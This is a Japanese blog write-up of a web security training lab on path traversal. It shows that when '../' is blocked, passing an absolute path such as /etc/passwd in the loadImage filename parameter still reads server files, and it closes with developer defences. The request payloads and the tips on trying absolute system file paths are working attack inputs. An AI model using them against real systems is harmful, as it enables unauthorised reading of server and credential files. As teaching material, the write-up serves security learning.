Shikata Ga Nai

Private? There is no such things.

LAB: パストラバーサル(トラバーサル文字ブロック + 絶対パスバイパス)攻略解説

Hello there, ('ω')ノ

🎯 ラボの目的

このラボでは、

  • 通常の ../ などの トラバーサル文字列はブロックされています。
  • しかし サーバーはfilenameをワーキングディレクトリからの相対 or 絶対パスとして解釈しています。

✅ つまり 絶対パス(/etc/passwd)を直接指定することで サーバーのファイルを読み取ることが可能です。


✅ 攻略手順(ステップバイステップ)


1️⃣ 商品画像取得リクエストをBurpでキャプチャ

例:

GET /loadImage?filename=218.png HTTP/1.1
Host: <LAB-ID>.web-security-academy.net

2️⃣ filenameパラメータを絶対パスに変更

GET /loadImage?filename=/etc/passwd HTTP/1.1
Host: <LAB-ID>.web-security-academy.net

✅ 注意:

  • ../%2e%2e%2f は検知されてブロックされるが
  • 絶対パス指定 /etc/passwd は許される → バイパス成功

3️⃣ リクエスト送信 → ファイル内容取得

  • Burp Repeater で Send
  • レスポンスに Linuxサーバーの/etc/passwd内容 が含まれているはず

    • 例:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

4️⃣ 解答提出

  • 抜き出したファイル内容をコピー
  • ラボ画面の Submit solution ボタンから提出
  • ラボクリア🎉

✅ この攻撃の本質ポイント

防御方法 バイパス方法
../ などトラバーサル文字列ブロック 絶対パス /etc/passwd 指定でバイパス
ユーザー入力値の直接パス結合 入力チェック不備 → 任意パス指定可能

🎯 攻撃者視点の教訓

  1. ../ が通らない場合 → 絶対パス試行 /etc/passwd, C:\windows\win.ini
  2. API仕様上ワーキングディレクトリ基準でファイル指定可能なケースに注意
  3. アプリやライブラリの パス結合ロジックの甘さ を狙う

✅ 開発者向け防御策

対策 説明
絶対パス指定禁止 /\ から始まる文字列をブロック
ファイルID or ハッシュ管理 パス指定は外部から一切受け付けない
OS関数でパス正規化 realpath() でファイルパスを正規化後にベースパス比較
ファイルシステムパーミッション制限 Webアプリ実行ユーザーに最低限権限のみ

✅ まとめ

このラボは「パストラバーサル = ../だけではない」 という攻撃者の視点を学べる実践ケースです。

現実のシステムでも

  • loadImage?filename=/etc/passwd
  • getFile?path=C:\windows\win.ini のような 絶対パスバイパス は今も多く発見されています。

「ユーザー入力値は絶対にファイルパスに直接渡さない」 これがパストラバーサル防御の鉄則です。

Best regards, (^^ゞ